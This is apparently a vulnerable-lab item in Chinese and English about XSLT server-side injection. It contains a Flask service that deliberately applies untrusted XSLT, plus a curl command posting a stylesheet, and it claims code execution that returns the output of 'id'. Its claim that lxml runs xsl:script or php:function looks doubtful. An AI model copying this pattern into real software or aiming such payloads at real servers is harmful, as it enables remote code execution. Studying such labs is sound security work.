xsl:script 的 XSLT 服务端注入# xslt_server.py - Applies user-supplied XSLT to XML
from lxml import etree
from flask import Flask, request
app = Flask(__name__)
@app.route('/transform', methods=['POST'])
def transform():
xml = request.form['xml']
xslt = request.form['xslt']
xml_doc = etree.fromstring(xml.encode())
xslt_doc = etree.fromstring(xslt.encode())
transform = etree.XSLT(xslt_doc)
result = transform(xml_doc)
return str(result)
if __name__ == '__main__':
app.run(port=5000)
xsl:script 的 XSLT 服务端注入某 XML 转换服务接受不受信任的 XSLT 样式表并在未禁用脚本扩展的情况下应用它们。攻击者可以嵌入 xsl:script 或处理器特定的函数（例如 PHP 的 php:function）在服务器上执行任意代码。
pip install flask lxml
python xslt_server.py
curl -X POST -d "xml=<root/>" --data-urlencode "[email protected]" http://localhost:5000/transform
服务器返回 id 的输出。